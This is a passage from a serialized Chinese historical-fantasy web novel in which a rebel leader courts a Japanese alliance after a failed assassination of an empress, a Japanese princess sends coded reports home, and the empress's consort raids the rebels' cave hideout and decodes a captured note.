却万万没想到,如此周密的计划,动用了他能联系到的最隐秘、最歹毒的力量,竟然还是功亏一篑! 慕容嫣没死,意味着他们即将面临圣徽朝廷更加疯狂、更加严酷的清剿! “头领现在我们该怎么办?”旁边一名心腹面带恐惧地问道,“林臻肯定已经从黑巫寨主嘴里撬出了我们的据点位置!这里这里也不安全了!” 金顺哲强迫自己冷静下来。 他喘着粗气,?在昏暗的山洞内来回踱步,?如同困兽犹斗。 失败的情绪如同毒蛇般啃噬着他的内心,?但更多的是一种破釜沉舟的狠厉。 “慕容嫣没死是意料之外,但未必就是绝路!”金顺哲猛地停下脚步,?眼中闪过一丝狡诈的光芒。 “她就算没死,也必然元气大伤!林臻现在必定将所有精力都放在保护她和清查内部上,对外部的警惕反而可能会有所松懈这,或许是我们的另一个机会!” “机会?”心腹不解。 “对!机会!”金顺哲压低了声音,?脸上露出一种孤注一掷的狰狞。“单靠我们自己的力量,想要复国,难如登天!必须借助外力!” “外力?头领是指?” “倭国!”金顺哲从牙缝里挤出这两个字。 “还记得之前朴志雄大哥曾经尝试联络过倭国吗?虽然当时被拒绝了,但此一时彼一时!如今慕容嫣遇刺重伤,圣徽在辽东的统治看似稳固,实则内部必然人心浮动!这正是倭国插手干预、谋取利益的天赐良机!” 他越说越激动?:“倭国觊觎朝鲜半岛和辽东之地,已非一日两日!以前他们不敢招惹强盛的圣徽,但现在,慕容嫣重伤,林臻忙于内务,圣徽帝国看似强大,实则露出了破绽!只要我们许以重利,比如事成之后,割让釜山浦乃至整个弁韩之地给倭国,允其通商、驻军,他们一定会动心!” 心腹们闻言,面面相觑,既觉得此举过于冒险,引狼入室,又觉得这或许是眼下唯一的生机。 “可是头领,倭国远在海外,我们如何联系?又如何取信于他们?”另一人担忧道。 金顺哲冷笑一声?:“我自有渠道。还记得那个一直暗中给我们提供些许情报的倭国商人‘平贞盛’吗?他表面上是来做生意的,实则是倭国派来的探子!之前我们势弱,他不敢深交,如今我们手握‘慕容嫣重伤’这个重磅消息,再加上割地承诺,不怕他不动心!只要通过他,就能联系上倭国掌权的苏我马子大臣!” 他当即下令:“立刻派人,持我的亲笔密信,秘密潜入安州城,联系平贞盛!告诉他,高句丽复国义帜愿与倭国结盟,共抗圣徽!只要倭国愿意出兵牵制圣徽水师,或在沿海制造事端,助我复国,事成之后,弁韩之地,尽归倭国!此外,安州、平壤等地的财富、人口,亦可与倭国共享!” “这这是不是太……”有心腹觉得条件过于屈辱。 “屈辱?!”金顺哲厉声打断,?眼中满是血丝,“与亡国灭种相比,这点屈辱算得了什么?!只要能赶走圣徽人,恢复高句丽社稷,暂时的隐忍和让步,都是值得的!快去!” “是!头领!”信使不敢再多言,接过密信,匆匆离去。 山洞内,重归寂静,只剩下金顺哲粗重的喘息声和油灯燃烧的噼啪声。 他知道,?自己这是在与虎谋皮。? 倭国人,?同样是狼子野心。 ?但此刻,?他已别无选择。 ?慕容嫣未死的消息,?像一把达摩克利斯之剑,?悬在他和所有幸存者的头顶。? 他必须在林臻的大军围剿到来之前,?找到一线生机,?哪怕这线生机,?是通往另一个地狱。 夜深人静。 倭国商人平贞盛跪坐在一间充满和风韵味的密室内,?就着昏暗的灯火,?仔细阅读着金顺哲的密信。 他年约四旬,?面容看似和善,?但一双细长的眼睛中,?却不时闪过精明的光芒。 读完信,他沉吟良久,?脸上露出一丝高深莫测的笑容。 “呵呵,金顺哲终于还是走到这一步了吗?”他低声自语,“慕容嫣遇刺重伤,这可是个了不得的消息啊。若是真的或许,确实是我大和国插手辽东的良机。” 他起身,?走到窗边,?望着安州城沉寂的夜色。? 作为倭国派来的密探,?他一直在观察,?等待。? 圣徽的强大,?让他和他背后的势力不敢轻举妄动。? 但如果慕容嫣真的重伤那圣徽在辽东的统治,就出现了巨大的裂缝。 “弁韩之地真是诱人的筹码啊。”平贞盛眼中闪过一丝贪婪。? 他知道,?国内以苏我马子大臣为首的激进派,?对朝鲜半岛早已垂涎三尺。?这个情报和提议,?足以让他们心动。 他不再犹豫,?回到案前,?提笔蘸墨,?用特殊的密码,?开始书写给国内的密报。 ?他要将金顺哲的提议和慕容嫣重伤的消息,?以最快的速度,?传回难波京。 写完密报,他用火漆密封好,唤来一名绝对心腹的浪人武士,低声吩咐道:“即刻出发,乘快船回国,将此信亲手交予苏我马子大臣!记住,事关重大,不容有失!” “嗨!”浪人武士躬身领命,身影迅速消失在夜色中。 平贞盛看着武士消失的方向,?嘴角勾起一抹冷笑。“乱吧,越乱越好,只有水浑了,我大和国,才能摸到鱼啊。” 而此刻,安州行宫内,慕容嫣在林臻的精心照料下,?身体正一点点恢复。 ?她还不知道,?一场由失败的刺杀所引发的、更加险恶的、牵扯到境外势力的风暴,?正在悄然酝酿。? 第1025章 樱花亲自探视 慕容嫣遇刺已过去近十日。 安州行宫依旧戒备森严,飞鸟难入。 外界关于女帝伤势的猜测纷纷扬扬,有传言说她重伤不治,秘不发丧;也有说法称她只是轻伤,正在筹划凌厉的反击。而真实情况,则被牢牢封锁在深宫高墙之内。 寝殿中,药香弥漫,取代了往日惯用的龙涎香。 慕容嫣斜倚在铺着厚厚软垫的凤榻上,?身上盖着锦被,?只露出穿着神凤降世裙的上半身。 经过林臻连日来的内力温养和御医的精心调理,她的脸色已不似前几日那般惨白,?隐隐透出些许血色,?但唇色依旧显得有些淡。 ?往日那顾盼生威的凤眸,?此刻也敛去了锐利,?多了几分病后的慵懒与沉静。 ?神凤降世裙贴身穿着,墨黑的苏锦底料衬得她肤色愈发白皙,却也隐隐透出一种易碎感。 织入的金线不再闪烁逼人的光芒,而是如同月下流淌的暗河,温顺地依附在睡裙的褶皱里。 那只擎天巨凤的图案,随着她倚靠的姿势,安静地蛰伏着,仿佛也在休养生息,等待重翔九天的时机。 宽大的喇叭袖一只软软搭在锦被外,另一只被她用来微微垫着侧卧的脸颊。 左手拇指上的墨玉扳指,依旧戴在原处,却似乎也收敛了光华。 那长达五丈的苏锦拖尾,在榻上铺展着,大部分被锦被覆盖,只有末端一小截迤逦垂落榻沿,带着一种无力却依旧存在的存在感,安静地蜷伏在光洁的地板上。 这是一种与病体抗争后、略显脆弱的凌乱,却依旧保持着不容侵犯的底韵。 林臻几乎将所有的政务都搬到了寝殿外间处理,?以便随时照看慕容嫣。 他每日除了处理紧急军务、听取“夜枭”汇报,?大部分时间都陪在榻前,?亲自为她喂药、擦汗、读些闲书解闷。 “夫君,朝中近日可还安稳?”慕容嫣喝下一勺林臻递到唇边的汤药,?微微蹙眉,?轻声问道。 她声音虽弱,但条理清晰,显然神智已完全清明。 林臻用丝帕轻轻拭去她嘴角的药渍,?柔声道:“一切安好,嫣儿不必挂心。几个跳梁小丑,都已清理干净。朝臣们皆知你在静养,无人敢生事端。” 他刻意隐瞒了倭国使团近来异常活跃的消息,以免她劳神。 慕容嫣点了点头,?目光望向窗外,?看着庭院中欣欣向荣的石榴花,?若有所思:“这次是我太急躁了,总想着尽快将这新附之地牢牢握在手中,却忘了根除顽疾,需要耐心。” 她的语气中带着一丝反省,少了往日的杀伐决断,多了几分沉淀后的冷静。 这次死里逃生的经历,似乎让她对统治的艰难有了更深的理解。 林臻握住她的手,?安慰道?:“嫣儿已做得足够好。雷霆手段震慑,怀柔政策安民,并无差错。只是敌人太过狡诈阴险,防不胜防。待你康复,我们再从长计议,必将这些隐患连根拔除。” 慕容嫣将目光从窗外收回,?落在林臻明显消瘦了些的脸上,?眼中泛起心疼与柔情?:“这些日子辛苦夫君了。” 她伸出另一只手,?轻轻抚上林臻略显憔悴的脸颊。 “为你,何谈辛苦。”林臻低头,?在她掌心印下一吻,?眼中满是缱绻。 就在这时,殿外传来内侍谨慎的通报声:“启禀陛下,亲王殿下,倭国使臣樱花内亲王在外求见,称听闻陛下凤体欠安,特来问安。” 慕容嫣闻言,?眸光微微一闪,?嘴角勾起一抹似笑非笑的弧度。 林臻的眉头则几不可察地蹙了一下。 “她倒是消息灵通,来得‘正好’。”慕容嫣语气平淡,?听不出喜怒。“夫君,你觉得她此番前来,是真心问安,还是另有所图?” 林臻沉吟道?:“倭国使团近日与外界的接触,比以往频繁。尤其是那个商人平贞盛,行踪诡秘。此刻前来问安,探听虚实的可能性更大。” 慕容嫣点了点头?:“既然如此,那就见见吧。正好,朕也‘病’了这些日子,也该让外人看看,‘朕’到底怎么样了。” 她特意在“朕”字上加重了语气,?眼中闪过一丝算计的光芒。 “你的身体……”林臻有些担忧。 “无妨。”慕容嫣摆了摆手,?挣扎着想坐直些,?林臻连忙上前搀扶,?在她身后垫了好几个软枕。 “不过是见个外臣,说几句话的力气,朕还是有的。况且有夫君在旁,朕很安心。” 她示意宫女为她略整理了一下鬓发和衣襟,?确保那身神凤降世裙领口袖缘处的华美凤纹能恰到好处地显露出来,?既显示身份,?又不失病中见客的“随意”?。 她要让那位倭国公主看到一个虚弱,?但远未到濒死地步,?且依旧掌控着局面的大乾女帝。 “宣她进来吧。”慕容嫣对林臻点了点头,?脸上恢复了那种淡漠而威仪的神情,?只是气息依旧显得有些微弱。 林臻会意,?走到外间,?沉声道?:“宣倭国内亲王觐见。” 片刻后,殿门轻启,樱花内亲王低着头,?迈着细碎谨慎的步伐走了进来。 她今日穿着一身素雅的浅绿色和服,脸上未施脂粉,显得十分恭顺。 一进殿,她便依礼跪拜,?声音带着恰到好处的关切与惶恐:“外臣樱花,听闻陛下圣体违和,心中万分忧虑,特来请安。愿陛下早日凤体康健,福寿安康。” 慕容嫣靠在软枕上,?目光淡淡地扫过她,?并未立刻叫起,?让那无形的威压在殿内弥漫了片刻。 她能感觉到樱花内亲王看似恭顺的外表下,?那偷偷打量、评估的视线。 “内亲王有心了。”良久,慕容嫣才缓缓开口,?声音带着一丝恰到好处的虚弱,?却又清晰无比。“不过是前几日在祈福大典上偶感风寒,将养几日便好,劳烦内亲王挂念。” 她轻描淡写地将遇刺之事归结为“风寒”?。 樱花内亲王连忙道?:“陛下洪福齐天,定能遇难成祥。外臣在倭国时,也曾略通医理,若陛下不弃,外臣愿……” “不必了。”慕容嫣淡淡地打断她,“朕有御医照料,已无大碍。内亲王在安州住得可还习惯?若有什么需求,可向礼部提出。” 她巧妙地转移了话题,?既拒绝了对方的“好意”?,?又显得从容大度。 “谢陛下关怀,外臣一切安好。”樱花内亲王低头应答,?心中却在飞速盘算。? 慕容嫣确实带着病容,?声音也不如往日清越,?但其眼神中的冷静与威仪,?以及那即便卧病也无法忽视的华贵气度,?都在明确地告诉她?:?这位女帝,?绝非外界传闻的那般濒死?!?甚至,?她可能正在迅速恢复?! 又简单问答了几句,慕容嫣便露出疲态,?以需要静养为由,?端茶送客。 樱花内亲王不敢多留,?再次行礼后,?躬身退出了寝殿。 一出殿门,她脸上的恭顺瞬间消失,?取而代之的是一脸的凝重。 ?她必须立刻将慕容嫣真实的情况,?传回国内?! ?或许,?与金顺哲的合作,?需要重新评估了 寝殿内,慕容嫣在樱花内亲王离开后,?脸上的疲态瞬间收敛,?她看向林臻,?冷笑道?:“如何?夫君,朕这番‘表演’,可还过得去?” 林臻走上前,?替她掖好被角,?眼中带着赞赏与心疼:“恰到好处。既示弱以麻痹敌人,又彰显了不容侵犯的威仪。想必此刻,那位内亲王心中已是七上八下了。” 慕容嫣靠回软枕,?轻轻舒了口气,?眼中寒光渐聚?:“倭国看来是真的坐不住了。夫君,狼牙山和沿海的监视,还需再加紧。朕有种预感更大的风暴,快要来了。” “我知道。”林臻神色肃然,“你放心养病,外面一切有我。等你康复之日,便是我们肃清内外之敌之时!” 慕容嫣点了点头,?重新闭上双眼。 第1026章 樱花王的心事 安州行宫那场短暂却暗藏机锋的觐见,如同在樱花内亲王平静的心湖中投下了一块巨石。 她保持着倭国贵族特有的、看似温顺谦卑的姿态,在圣徽禁军森严的注视下,乘坐马车返回位于安州城西的倭国使馆。 直到马车驶入使馆庭院,厚重的门扉在身后关闭,隔绝了外界的一切视线,她才允许自己脸上那精心维持的面具出现一丝裂痕。 使馆内弥漫着淡淡的线香气味,熟悉的氛围让她紧绷的神经略微放松,但胸腔里那颗心,却跳得又快又乱。 她没有理会迎上前来的侍女,径直走向自己位于使馆最深处的居室。 这是一间完全按照倭国风格布置的房间,榻榻米、移门、低矮的案几,墙上挂着一幅墨色淋漓的山水画,意境空灵,与窗外异国的喧嚣格格不入。 樱花挥退了所有侍从,?独自跪坐在冰冷的榻榻米上。她需要绝对的安静,?来消化刚才在行宫寝殿的所见所感,?并做出那个可能影响倭国未来国运的重大判断。 慕容嫣的样子,?在她脑海中反复浮现。 ?苍白,?确实是苍白的,?那种失血后的虚弱感,?绝非伪装。 ?她的声音也失去了往日在大殿上那种金玉交鸣般的清越与力量,?带着气脉不足的微颤。 ?这一切,?似乎都在印证?“重伤”的传闻。 ?但是—— 樱花闭上了眼睛,?仔细回想着每一个细节。 慕容嫣的眼神。 那不是垂死之人或重病缠身者该有的眼神。 那双凤眸深处,没有浑浊,没有涣散,反而像两潭深不见底的寒水,冷静、锐利,甚至带着一种洞悉一切的审视。 在她看似随意的问话中,樱花能感觉到一种无形的掌控力,仿佛自己所有的心思,在那双眼睛面前都无所遁形。 还有她身上那件……即使在病榻上,也依旧穿着的神凤降世裙。 墨黑的底色上,金色的暗纹在殿内昏暗的光线下若隐若流,仿佛蛰伏的龙鳞凤羽,无声地彰显着主人至高无上的身份。 那绝非一个即将崩逝的帝王会在意的东西。 更重要的是林臻的态度。 那位权倾朝野的亲王,守护在榻边,眼神中的担忧固然真切,但更多的是一种沉稳和笃定,仿佛确信慕容嫣定能康复。 若慕容嫣真的命悬一线,林臻绝不可能如此镇定地处理朝政,接见外臣。 “她在恢复,而且速度不慢。”樱花猛地睁开眼,?得出了这个让她心头一沉的结论。? 金顺哲提供的?“慕容嫣重伤濒死”的情报,?含有极大的水分,?或者说,?是他一厢情愿的臆测?! 这个判断,让情况变得无比复杂。 如果慕容嫣真的重伤不治,那么倭国支持金顺哲,趁圣徽内乱在朝鲜半岛谋取利益,无疑是一步好棋。 风险虽大,但收益可能极高。 可现在,慕容嫣明显正在康复。 以她的性格和手段,一旦彻底恢复,必然会对所有敌人展开最残酷的清算。 金顺哲和他的“复国义帜”,在完整的圣徽国家机器面前,能支撑多久? 恐怕如同蚍蜉撼树。 届时,倭国若已公开支持金顺哲,就等于直接站到了圣徽的对立面。 慕容嫣和林臻,会如何对待一个胆敢插手其内政、甚至觊觎其领土的邻国? 想到圣徽那强大的水师和悍勇的边军,樱花不禁打了个寒颤。 ?与一个统一的、强大的、并且正处于愤怒中的圣徽帝国为敌,?这绝非倭国想要的结局?!? 苏我马子大臣的野心,?很可能会将整个国家拖入万劫不复的深渊?! 但是……就此放弃吗? 樱花的眼中又闪过一丝不甘。 ?朝鲜半岛,?尤其是弁韩之地??,?对倭国有着难以抗拒的诱惑力。 ?金顺哲开出的条件,?也确实丰厚。? 这或许是几十年来,?倭国最接近在大陆获得立足点的机会。 ?风险与收益,?在她心中激烈地搏斗着。 她起身,?走到窗边,?推开移窗。? 安州城的夜景映入眼帘,?远处圣徽行宫的方向,?灯火通明,?仿佛一头蛰伏的巨兽。?而倭国使馆所在的这片区域,?则相对昏暗寂静。 她想起了临行前,?苏我马子大臣对她的秘密嘱托?:“樱花,此去圣徽,表面是修好,实则为帝国之眼。务必看清圣徽虚实,尤其是那位女帝……若有机会,可暗中助力高句丽残余势力,让他们与圣徽互相消耗,我国便可坐收渔利。但切记,绝不可留下任何把柄,将帝国置于明处。” “不可留下把柄置于明处。”樱花低声重复着这句话,?眼中的光芒渐渐变得清晰而冰冷。 她有了决断。 回到案几前,她重新跪坐下来,?铺开一张特制的、带有暗纹的和纸。? 她没有使用明显的倭国文字,?而是用一种经过变化的、类似汉字的密码文字开始书写。 ?这封信,?将通过最隐秘的渠道,?送往难波京的苏我马子大臣手中。 她的笔迹娟秀而稳定,但内容却充满了冷酷的算计: “致苏我大臣阁下钧鉴:” “安州一晤,慕容嫣确抱恙在身,然绝非金顺哲所言濒死。其气度犹存,林臻镇定,圣徽统治根基未动,反因刺杀而更显肃杀。金顺哲等,穷途末路之辈,所言多虚,恐难成事。” “与其贸然支持此等朽木,不若行‘驱虎吞狼’之策。可假意应允金顺哲,提供少量陈旧军械、少许资金,诱其主动出击,挑衅圣徽。彼等必遭雷霆碾压,此举既可借圣徽之手清除无用之高句丽残余,亦可试探圣徽在辽东之真实反应与底线。” “我国需谨守‘局外’之姿,绝不可公开介入。一切支持,皆通过隐秘渠道,且适可而止。若金顺哲成功制造混乱,我可观望,伺机谋取沿海小利;若其失败,于我亦无大损,所有痕迹必须彻底清除,确保圣徽无证据指摘我国。” “慕容嫣此番遇刺,其报复之心必然炽盛。未来一段时间,辽东乃至渤海局势将趋紧张。我国当外示恭顺,内修战备,静观其变,方为上策。切不可因小利而忘大患,与强圣徽正面为敌,非帝国之福。” “樱花顿首。” 写罢,她仔细检查了一遍,?确认没有任何可能泄露身份的信息。 然后,她取出一个小小的铜管,?将密信卷好塞入,?用特殊的火漆封好,?火漆上印着一个看似花瓣的暗记。 “唤石川武藏来。”她对门外低声吩咐。 片刻后,一名身材精悍、眼神锐利、腰间佩着长短双刀的浪人武士悄无声息地出现在门口,正是她的心腹护卫,石川武藏。 “内亲王殿下。”石川武藏单膝跪地。 樱花将铜管递给他,?神色无比凝重:武藏,此信关系帝国国运,你亲自护送,乘最快的船返回难波,面呈苏我马子大臣。途中若遇任何盘查,宁可毁信,绝不可落入他人之手。明白吗?” “嗨!属下以性命担保,必不辱命!”石川武藏双手接过铜管,紧紧握在手中,眼中闪过决绝的光芒。 “去吧。”樱花挥了挥手。 石川武藏再次行礼,身影如同鬼魅般消失在夜色中。 樱花独自留在房内,?看着窗外漆黑的夜空,?长长地舒了口气,?但眉头却并未舒展。?这步棋,?她走得很险。?既要利用金顺哲,?又要避免引火烧身。 ?成败,?不仅关乎她的使命,?更关乎倭国的未来。 ?而远在行宫中的慕容嫣,?或许已经料到了这海对面的风波,?正在病榻上,?冷静地布置着应对一切可能的棋局。 第1027章 还是跑了 慕容嫣的身体在御医和林臻内力的双重调理下,已有了明显起色,虽仍不能下榻理事,但面色红润了许多,眼神也恢复了往日的锐利。 然而,林臻心中的弦却绷得更紧了。 时间拖得越久,盘踞在狼牙山的金顺哲一伙就可能逃得更远,或者策划出更恶毒的反扑。 行宫书房内,烛火通明。 林臻屏退了左右,?独自站在那幅巨大的安东都护府舆图前,?目光死死锁定在安州城以北那片用朱砂标注出的、代表狼牙山的连绵山峦符号上。 黑巫寨寨主临死前吐露的关于据点位置、大致人数和防御弱点的信息,如同碎片般在他脑中飞速组合、推演。 “影一。”林臻头也不回地低声道。 一道黑影如同从墙壁阴影中剥离出来般,悄无声息地单膝跪地:“殿下。” “狼牙山地形复杂,金顺哲又是地头蛇,必有暗哨密布。大军围剿,动静太大,容易打草惊蛇,若让其再度遁入深山,后患无穷。” 林臻的声音冷静而果决,“你亲自挑选‘夜枭’中最擅长山地潜行、侦查的好手,组成一支精干小队,即刻出发,潜入狼牙山,确认据点确切位置、守备情况,以及金顺哲是否还在其中。” “是!属下明白!”影一领命,身影一晃,便消失在书房外的夜色中。 然而,派出了最得力的手下,林臻心中的焦虑并未减少。 他在书房内踱步,?慕容嫣苍白虚弱的面容和金顺哲那阴鸷的眼神在他脑中交替浮现。 ?等待,?是最煎熬的。 ?他担心影一他们遭遇不测,?更担心在这等待的时间里,?安州城内或慕容嫣身边再出变故。 两天后。 书房的门被轻轻叩响。 林臻霍然抬头,?只见影一风尘仆仆地闪身而入,?身上还带着山间的寒露气息和一丝若有若无的血腥味。 “情况如何?”林臻急步上前,?声音带着一丝不易察觉的紧绷**。 影一脸色凝重:“回殿下,据点位置已确认,与寨主所言基本一致,位于鹰嘴崖下的一个天然溶洞群,易守难攻。属下等人潜至近处观察,发现洞口明哨暗哨林立,戒备极为森严,远非寻常流寇可比。而且……” 他顿了顿,语气更加低沉,“属下冒险抓了一个外围的舌头,逼问得知,金顺哲可能在两日前,也就是我们审讯寨主后不久,就已经带着少数核心心腹,秘密离开了狼牙山!” “什么?!”林臻瞳孔骤然收缩,?一拳砸在案几上,?发出沉闷的响声?!“他还是跑了?!” 一股被戏弄的怒火和更深的忧虑瞬间涌上心头。金顺哲的警觉和狡猾,超出了他的预料。 这证明,在安州城内,甚至在行宫周围,很可能还潜伏着他们的眼线! 否则消息不可能传递得如此之快! “可知他逃往哪个方向?”林臻强迫自己冷静下来,?追问道。 “舌头级别太低,只知金顺哲离开,具体去向不明。但据他描述,金顺哲离开时行色匆匆,似乎并非单纯躲避我们的清剿,更像是有更重要的图谋。”影一答道。 更重要的图谋? 林臻的心猛地一沉。?联想到倭国使团近期的异常活跃,?以及平贞盛那个倭商的鬼祟行踪,?一个更可怕的可能性在他脑中形成?。 ?金顺哲,?会不会是去与倭国人接头了???他们真的勾结在了一起? 不能再等了!必须立刻行动! 即便抓不到金顺哲,也要端掉这个据点,斩断他在安州一带的根基,缴获可能存在的与倭国勾结的证据! “传令!”林臻眼中寒光四射,?瞬间做出了决断,“点齐三百‘玄甲卫’精锐,由我亲自带队,即刻出发,奔袭狼牙山!同时,令安州守军封锁狼牙山所有出入要道,许进不许出!影一,你带夜枭先行,清除沿途及据点外围哨卡,为大军开路!” “殿下!您亲自去?太危险了!让属下带队即可!”影一急忙劝阻。亲王乃万金之躯,更是女帝陛下的支柱,若有闪失,后果不堪设想。 “不必多言!”林臻斩钉截铁,“金顺哲狡诈,此战关系重大,我必须亲临指挥,方能随机应变!快去准备!” “是!”影一知道林臻决心已下,不再多话,领命而去。 林臻快步走向寝殿。慕容嫣还未睡下,?正倚在榻上看书,?见林臻一身劲装、面带杀气地进来,?心中已明白了七八分。 “夫君,你要亲自去?”慕容嫣放下书卷,?凤眸中流露出担忧**。 “嗯,金顺哲可能已经跑了,但狼牙山的据点必须拔除。我亲自去,才能放心。”林臻走到榻边,?握住她的手,“嫣儿,你好生休养,我快去快回。” 慕容嫣知道拦不住他,?也知道此事的重要性。她反手握紧他,?目光坚定?:“好!夫君小心!务必平安归来!我等你!” “放心。”林臻低头,?在她唇上印下深深一吻,?然后毅然转身,?披风在身后划出一道凌厉的弧线。 子夜时分,林臻亲率三百玄甲精锐,?人衔枚,?马裹蹄,?如同暗夜中的幽灵,?在影一等人清除出的安全路径上,?悄无声息地摸到了据点所在的溶洞群外围。 溶洞入口处,火光闪烁,几名守卫正抱着兵器,倚着石壁打盹。 周围山壁上,隐约可见暗哨的身影。 林臻打了个手势。数名玄甲卫如同猎豹般匍匐前进,?利用岩石和灌木的掩护,?迅速解决了外围的明哨暗哨,?没有发出一点声响。 “冲!”林臻见时机成熟,?长剑出鞘,?低喝一声?! 三百玄甲卫如同决堤的洪水般,?猛地冲向溶洞入口?! 喊杀声瞬间打破了山夜的寂静! 洞内的叛匪显然没料到袭击来得如此突然和猛烈! 他们仓促应战,虽然凭借地利负隅顽抗,但在训练有素、装备精良的玄甲卫面前,很快便溃不成军。 战斗几乎是一边倒的屠杀。 林臻身先士卒,?剑光如龙,?所向披靡。 他一边指挥战斗,?一边留意着洞内可能存在的密室或密道。 战斗持续了不到半个时辰,洞内的抵抗便被彻底肃清。 清点战场,斩杀叛匪百余人,俘获数十人,缴获兵甲、粮草若干。 “殿下,发现一间密室!”影一前来禀报。 林臻快步走入那间位于溶洞最深处的密室。 密室陈设简单,只有一张石床,一张石桌。桌上散落着一些纸张,墙角堆着几个箱子。 林臻拿起桌上的纸张,?快速翻阅。 大多是些无关紧要的往来指令和名单,?但其中一张皱巴巴的纸条,?引起了他的注意。 上面用汉字写着几个看似随意的地名和日期,?但排列方式却透着古怪。 “这是密码?”林臻眉头紧锁。他下令将所有纸张和箱子全部打包带回,?仔细研究。 随后,他又让人仔细搜查密室每一寸墙壁和地面,?果然在石床下发现了一条仅容一人通过的狭窄密道?! 密道通向山后,?出口极其隐蔽。 “金顺哲果然是从这里跑的。”林臻站在密道出口,?望着山下茫茫的夜色,?脸色阴沉得能滴出水来。 ?这条密道,?连黑巫寨主都不知道,?可见金顺哲的谨慎和多疑。 虽然端掉了据点,缴获了一些物资,但主犯金顺哲在逃,可能还与倭国勾结,这无疑留下了巨大的隐患。 那张密码纸条,成了眼下唯一的、可能指向金顺哲去向和阴谋的线索。 “清理战场,押解俘虏,即刻返回安州!”林臻下令道。 他必须尽快回去,?一方面让慕容嫣安心,?另一方面,?要集中所有力量,?破译那张密码纸条,?并加强对沿海和倭国使团的监控。 ?黎明时分,?林臻带着队伍,?押着俘虏和缴获,?踏上了返回安州的路。 ?此行虽有所获,?但未能竟全功,?反而让他感受到了一股更庞大、更阴险的暗流,?正在悄然涌动。 ?而这一切的关键,?很可能就藏在那张看似普通的纸条之中。 第1028章 一个密码锁 安州行宫内的气氛凝重如山雨欲来。 林臻端坐于书房灯下,面前摊开着从狼牙山密室缴获的那张密码纸条。 烛火将他的侧影投在墙壁上,随着火焰跳动而微微晃动。他已经对着这寥寥数字枯坐了近两个时辰。 纸上是用汉字随意书写的几个地名与日期: “鹿儿岛,肥前,对马,端午,秋分”。 看似是普通的行程记录,但排列顺序和特定的时间点,让林臻敏锐地察觉到其中的不寻常。 他指节分明的手指无意识地轻叩桌面,脑海中飞速闪过沿海舆图、海流季节以及倭国近期所有看似无关的动向。 突然,他指尖一顿,眼中锐光迸现。他取过朱笔,将鹿儿岛、肥前、对马在地图上连成一条线,这条线的指向,正是朝鲜半岛乃至辽东沿海! 而端午与秋分,不仅是节气,更是海上潮汐与风向转变的关键节点! 一个可怕的推论在他脑中成型——这不是行程,这是一份用隐语写就的、关于某种“货物”输送路径与时间的密信! 结合倭国使团近期的异常安静,以及金顺哲的仓皇逃离,这“货物”绝非寻常,很可能是人,是兵,或者是……更阴毒的东西! 他豁然起身,衣袂带风,即刻下令:“传‘夜枭’统领影一,水师都督郑蛟,速来见驾!” 命令刚落,寝殿方向却传来内侍急促的脚步声。“亲王殿下,陛下醒了,召您即刻过去!” 林臻心一紧,将密信收入袖中,大步走向寝殿。 殿内药香未散,慕容嫣正由宫女扶着,半坐起身。 她脸色依旧苍白,长发未绾,披散在墨金色的睡裙上,更显脆弱。 然而,当她抬起眼看向林臻时,那双凤眸中的虚弱已被一种冰冷的清醒所取代。 “夫君,可是有眉目了?”她的声音虽轻,却带着不容置疑的威仪。 林臻坐到榻边,自然地将她的手握入掌心,感受到她指尖的微凉,心中一阵抽痛。他简要禀报了密码的破译结果以及自己的推断。 慕容嫣静静听着,目光落在两人交握的手上,半晌,才缓缓开口,声音如同结冰的溪流:“倭人这是见刺杀不成,又想效仿前朝侯景之乱,给朕送来一场瘟疫么?” 她提到的乃是前朝敌军利用疫病动摇国本的旧事,其心可诛。 她抬起眼,目光锐利地看向林臻:“狼牙山虽破,金顺哲潜逃,倭人阴谋已现。他们若真想散播疫病,沿海州县首当其冲。夫君,我们不能坐等。” “我明白。”林臻握紧她的手,“已去传郑蛟和影一,沿海防务与侦查需即刻加强。” “不,”慕容嫣却打断他,眼中闪过一丝决绝的光芒,“被动防御,防不胜防。倭人既以商船为掩护,我们便去海上迎他们。” 林臻一怔:“嫣儿,你的意思是?” “东巡。”慕容嫣吐出两个字,带着千钧之力,“朕要亲自去辽东沿海,巡视海防,犒劳水师。倭人不是想看看朕是生是死吗?朕就让他们看清楚!也要让沿海百姓、让水师将士看清楚,他们的皇帝,还活着,还能执枪跨马,镇守国门!” “不可!”林臻脱口而出,语气是前所未有的焦急,“你伤势未愈,怎能经得起舟车劳顿?海上风波险恶,若有闪失……” “夫君!”慕容嫣反手握紧他,指尖因用力而微微发白,凤眸中是不容动摇的坚定, “正是因为他们以为朕重伤垂死,朕才更要出现!这不仅是震慑倭寇,更是安定民心、鼓舞士气!若朕一直躲在这深宫,才是正中他们下怀,届时谣言四起,人心浮动,才是真正的危机!” 她语气稍缓,带着一丝恳切与依赖, “况且,有你在身边,朕有何惧?” 林臻看着她苍白却坚毅的脸庞,知道她心意已决。 他了解她,此刻的慕容嫣,不仅是他的妻子,更是圣徽的女帝。 他沉默片刻,终是沉重地点了点头:“好。我陪你。但一切行程、护卫,必须由我安排。你的身体,绝不能逞强。” 慕容嫣脸上露出一抹虚弱的笑意,轻轻靠回软枕:“嗯,都听夫君的。” 就在这时,影一与郑蛟奉召而至。 林臻将东巡的决定告知二人。 郑蛟闻言激动不已,表示水师上下誓死护卫陛下安全。 影一则领受了严密监控倭国使团及所有可疑船只的死命令。 命令下达,整个行宫乃至安州城都随之高效运转起来。 慕容嫣闭上眼,任由宫女伺候汤药,心中已开始盘算东巡的每一步。 那身墨金色的神凤降世裙在烛光下流淌着暗沉的光泽,裙摆边缘无意间拂过地面,勾勒出凌乱而坚定的痕迹。 林臻站在榻边,望着她沉静的睡颜,目光复杂。 他知道,一场风波已不可避免。 而他的妻子,正要以病弱之躯,亲自去迎接这场风暴。 ...... “镇海”号率领的皇家船队已在渤海湾航行了一日一夜。 海天一色,蔚蓝无垠,唯有船头破开的白色浪花与空中盘旋的海鸥,点缀着这片广阔的寂静。 然而,在这片看似平静的蔚蓝之下,暗流正如蛰伏的毒蛇,悄然涌动。 慕容嫣在“镇海”号最上层那间宽敞且布置雅致的舱室内休憩。 她换下了庄重的航海礼服,只穿着那身贴心的墨金色苏锦棉质睡裙——神凤降世裙。 海上的潮湿空气透过微开的舷窗渗入,带着咸腥的味道。 她靠坐在铺着软垫的窗边榻上,身上盖着一条轻薄的蚕丝绒毯,目光投向窗外无边无际的大海。 连体拖尾的长长裙摆,在榻上和她身后的地板上蜿蜒铺开,形成一种随航行颠簸而自然产生的、带着慵懒与戒备的凌乱。 那黑金貂皮披肩挂在舱壁的衣架上,随着船只轻微的摇晃而轻轻摆动。 林臻轻轻推门而入,手中端着一碗刚煎好的汤药。 